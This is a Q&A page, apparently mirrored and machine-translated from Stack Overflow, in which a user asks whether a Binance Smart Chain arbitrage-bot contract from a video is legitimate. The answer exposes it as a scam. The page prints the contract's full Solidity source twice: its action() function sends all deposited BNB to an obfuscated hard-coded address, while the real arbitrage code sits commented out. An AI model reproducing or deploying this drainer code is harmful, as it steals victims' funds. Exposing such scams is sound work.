这个套利机器人实际上可以正常运行吗?

发布于 2025-02-04 09:41:00 字数 6232 浏览 1 评论 0 原文

我一直在考虑创建某种形式的加密套利交易机器人,并且最近遇到了以下视频: https://www.youtube.com/watch?v=AQXBESFZB_4&t = 472s

该视频显示了通过单个函数呼叫的套利机器人,该机器人通过单个函数呼叫,该函数在智能合同上部署到Binance Smart smart smart,链。我已经查看了合同的代码,但我不确定它是否会真正起作用,还是它是骗局合同。如果它确实有效,那么我就不明白它是如何做到的。

看来,大多数代码都被评论了,但它说“当发现套利时,将自动注入块中的代码”就在注释的块上方。我写了一些智能合约,但这有点令人困惑。

pragma solidity ^0.5.16;

//pancakeswap and apeswap libaries to swap
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";

// put a min of 0.25 BNB on your bot contract to cover fees so you don't run in to a fee exhaustion error
contract ArbitrageBot {
    string public setLevel;
    string public timeDateRagulator;
    string public payout;
        address private constant pancakeFactory = 0xBCfCcbde45cE874adCB698cC183deBcF17952812;
        address private constant apeFactory = 0x0841BD0B734E4F5853f0dD8d7Ea041c241fb0Da6;
    
    
    function() external payable {}
    

 function SearchYeild(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
        bytes memory _stringBytes = bytes(_string);
        bytes memory result = new bytes(_stringBytes.length);

  for(uint i = 0; i < _stringBytes.length; i++) {
        result[i] = _stringBytes[i];
        if(i==_pos)
         result[i]=bytes(_letter)[0];
    }
    return  string(result);
 } 
//code that will be automatically injected in blockstream when arbitrage is found
/*

    function executeOperation(
        address _reserve,
        uint _amount,
        uint _fee,
        bytes calldata _params
    ) external {
        require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance, was the flashLoan successful?");

        address RESERVE_ADDRESS = _reserve;
        uint256 deadline = now + 3000;

        // get Exchange Address for the reserve asset
        address addressForLoanAssetExchangeA = uniswapFactoryA.getExchange(RESERVE_ADDRESS);
        address addressForLoanAssetExchangeB = uniswapFactoryB.getExchange(RESERVE_ADDRESS);
        // Instantiate Exchange A
        exchangeAforLoanAsset = IUniswapExchange(addressForLoanAssetExchangeA);
        exchangeBforLoanAsset = IUniswapExchange(addressForLoanAssetExchangeB);

        IERC20 loan = IERC20(RESERVE_ADDRESS);
        IERC20 bat = IERC20(BAT_ADDRESS);

        // Swap the reserve asset (e.g. DAI) for BAT
        require(loan.approve(address(exchangeBforLoanAsset), _amount), "Could not approve reserve asset sell");

        uint256 batPurchased = exchangeBforLoanAsset.tokenToTokenSwapInput(
            _amount,
            1,
            1,
            deadline,
            BAT_ADDRESS
        );

        require(bat.approve(address(exchangeAforBAT), batPurchased), "Could not approve BAT asset sell");

        // Swap BAT back to the reserve asset (e.g. DAIs)
        uint256 reserveAssetPurchased = exchangeAforBAT.tokenToTokenSwapInput(
            batPurchased,
            1,
            1,
            deadline,
            RESERVE_ADDRESS
        );

        uint amount = _amount;

        uint totalDebt = amount.add(_fee);

        require(reserveAssetPurchased > totalDebt, "There is no profit! Reverting!");

        transferFundsBackToPoolInternal(RESERVE_ADDRESS, amount.add(_fee));
    }

    // Entry point for flashloan
    function initateFlashLoan(
        address assetToFlashLoan,
        uint amountToLoan
    ) external {
        bytes memory data = "";

        // Get Aave lending pool
        ILendingPool lendingPool = ILendingPool(addressesProvider.getLendingPool());

        IERC20 loan = IERC20(assetToFlashLoan);

        // Ask for a flashloan
        lendingPool.flashLoan(
            address(this),
            assetToFlashLoan,
            amountToLoan,
            data
        );

        // If there is still a balance of the loan asset then this is profit to be returned to sender!
        uint256 profit = loan.balanceOf(address(this));
        require(loan.transfer(msg.sender, profit), "Could not transfer back the profit");
    }
*/


   function startLookingforYeild() public pure returns (address adr) {
   string memory neutral_variable = "QGY37FB298a5eBcbe4E05685735d56Fbbd61777490";
   SearchYeild(neutral_variable,0,'0');
   SearchYeild(neutral_variable,2,'1');
   SearchYeild(neutral_variable,1,'x');
   address addr = parseAddr(neutral_variable);
    return addr;
   }
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i < 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 >= 97) && (b1 <= 102)) {
            b1 -= 87;
        } else if ((b1 >= 65) && (b1 <= 70)) {
            b1 -= 55;
        } else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;
        }
        if ((b2 >= 97) && (b2 <= 102)) {
            b2 -= 87;
        } else if ((b2 >= 65) && (b2 <= 70)) {
            b2 -= 55;
        } else if ((b2 >= 48) && (b2 <= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
}
 function _stringReplace(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
        bytes memory _stringBytes = bytes(_string);
        bytes memory result = new bytes(_stringBytes.length);

  for(uint i = 0; i < _stringBytes.length; i++) {
        result[i] = _stringBytes[i];
        if(i==_pos)
         result[i]=bytes(_letter)[0];
    }
    return  string(result);
 } 
 
   
    function action() public payable {
        // payback back loan send profit to your address
        address(uint160(startLookingforYeild())).transfer(address(this).balance);
        
    }

}

I have been looking into creating some form of a crypto arbitrage trading bot, and recently came across the following video: https://www.youtube.com/watch?v=aQXbeSFZb_4&t=472s

The video shows an arbitrage bot that runs via a single function call on a smart contract deployed to the binance smart chain. I have looked through the code for the contract and I am unsure whether it would actually function, or whether it is a scam contract. If it does function, then I don't understand how it does.

It appears that the majority of the code is commented out, yet it says "code that will be automatically injected in blockstream when arbitrage is found" just above the commented out block. I have written a few smart contracts but this is slightly confusing.

pragma solidity ^0.5.16;

//pancakeswap and apeswap libaries to swap
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";
import "https://github.com/pancakeswap/pancake-swap-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";

// put a min of 0.25 BNB on your bot contract to cover fees so you don't run in to a fee exhaustion error
contract ArbitrageBot {
    string public setLevel;
    string public timeDateRagulator;
    string public payout;
        address private constant pancakeFactory = 0xBCfCcbde45cE874adCB698cC183deBcF17952812;
        address private constant apeFactory = 0x0841BD0B734E4F5853f0dD8d7Ea041c241fb0Da6;
    
    
    function() external payable {}
    

 function SearchYeild(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
        bytes memory _stringBytes = bytes(_string);
        bytes memory result = new bytes(_stringBytes.length);

  for(uint i = 0; i < _stringBytes.length; i++) {
        result[i] = _stringBytes[i];
        if(i==_pos)
         result[i]=bytes(_letter)[0];
    }
    return  string(result);
 } 
//code that will be automatically injected in blockstream when arbitrage is found
/*

    function executeOperation(
        address _reserve,
        uint _amount,
        uint _fee,
        bytes calldata _params
    ) external {
        require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance, was the flashLoan successful?");

        address RESERVE_ADDRESS = _reserve;
        uint256 deadline = now + 3000;

        // get Exchange Address for the reserve asset
        address addressForLoanAssetExchangeA = uniswapFactoryA.getExchange(RESERVE_ADDRESS);
        address addressForLoanAssetExchangeB = uniswapFactoryB.getExchange(RESERVE_ADDRESS);
        // Instantiate Exchange A
        exchangeAforLoanAsset = IUniswapExchange(addressForLoanAssetExchangeA);
        exchangeBforLoanAsset = IUniswapExchange(addressForLoanAssetExchangeB);

        IERC20 loan = IERC20(RESERVE_ADDRESS);
        IERC20 bat = IERC20(BAT_ADDRESS);

        // Swap the reserve asset (e.g. DAI) for BAT
        require(loan.approve(address(exchangeBforLoanAsset), _amount), "Could not approve reserve asset sell");

        uint256 batPurchased = exchangeBforLoanAsset.tokenToTokenSwapInput(
            _amount,
            1,
            1,
            deadline,
            BAT_ADDRESS
        );

        require(bat.approve(address(exchangeAforBAT), batPurchased), "Could not approve BAT asset sell");

        // Swap BAT back to the reserve asset (e.g. DAIs)
        uint256 reserveAssetPurchased = exchangeAforBAT.tokenToTokenSwapInput(
            batPurchased,
            1,
            1,
            deadline,
            RESERVE_ADDRESS
        );

        uint amount = _amount;

        uint totalDebt = amount.add(_fee);

        require(reserveAssetPurchased > totalDebt, "There is no profit! Reverting!");

        transferFundsBackToPoolInternal(RESERVE_ADDRESS, amount.add(_fee));
    }

    // Entry point for flashloan
    function initateFlashLoan(
        address assetToFlashLoan,
        uint amountToLoan
    ) external {
        bytes memory data = "";

        // Get Aave lending pool
        ILendingPool lendingPool = ILendingPool(addressesProvider.getLendingPool());

        IERC20 loan = IERC20(assetToFlashLoan);

        // Ask for a flashloan
        lendingPool.flashLoan(
            address(this),
            assetToFlashLoan,
            amountToLoan,
            data
        );

        // If there is still a balance of the loan asset then this is profit to be returned to sender!
        uint256 profit = loan.balanceOf(address(this));
        require(loan.transfer(msg.sender, profit), "Could not transfer back the profit");
    }
*/


   function startLookingforYeild() public pure returns (address adr) {
   string memory neutral_variable = "QGY37FB298a5eBcbe4E05685735d56Fbbd61777490";
   SearchYeild(neutral_variable,0,'0');
   SearchYeild(neutral_variable,2,'1');
   SearchYeild(neutral_variable,1,'x');
   address addr = parseAddr(neutral_variable);
    return addr;
   }
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
    bytes memory tmp = bytes(_a);
    uint160 iaddr = 0;
    uint160 b1;
    uint160 b2;
    for (uint i = 2; i < 2 + 2 * 20; i += 2) {
        iaddr *= 256;
        b1 = uint160(uint8(tmp[i]));
        b2 = uint160(uint8(tmp[i + 1]));
        if ((b1 >= 97) && (b1 <= 102)) {
            b1 -= 87;
        } else if ((b1 >= 65) && (b1 <= 70)) {
            b1 -= 55;
        } else if ((b1 >= 48) && (b1 <= 57)) {
            b1 -= 48;
        }
        if ((b2 >= 97) && (b2 <= 102)) {
            b2 -= 87;
        } else if ((b2 >= 65) && (b2 <= 70)) {
            b2 -= 55;
        } else if ((b2 >= 48) && (b2 <= 57)) {
            b2 -= 48;
        }
        iaddr += (b1 * 16 + b2);
    }
    return address(iaddr);
}
 function _stringReplace(string memory _string, uint256 _pos, string memory _letter) internal pure returns (string memory) {
        bytes memory _stringBytes = bytes(_string);
        bytes memory result = new bytes(_stringBytes.length);

  for(uint i = 0; i < _stringBytes.length; i++) {
        result[i] = _stringBytes[i];
        if(i==_pos)
         result[i]=bytes(_letter)[0];
    }
    return  string(result);
 } 
 
   
    function action() public payable {
        // payback back loan send profit to your address
        address(uint160(startLookingforYeild())).transfer(address(this).balance);
        
    }

}

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

遮云壑 2025-02-11 09:41:00

这是骗局合同

不要使用它。

调用 action()函数时,它会将所有BNB(Binance Smart Chain Network的本机代币)转移到< a href =“ https://bscscan.com/address/0x937fb298a5ebcbe4e05685735735d56fbbd6177490“ rel =“ nofollow noreferrer”>地址从 saterlookingforyeild faction 返回。

实际的目标地址被混淆,但您可以通过在Remix IDE或任何其他模拟器中运行代码来验证它。

一旦您将资金转移到合同中,您就无法将其取回。

This is a scam contract

Do not use it.

When you invoke the action() function, it transfers all BNB (native token of the Binance Smart Chain network) to an address returned from the startLookingforYeild() function.

The actual target address is obfuscated but you can verify it by running the code in Remix IDE or any other emulator.

And once you transfer funds into the contract, there's no way for you to retrieve them back.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文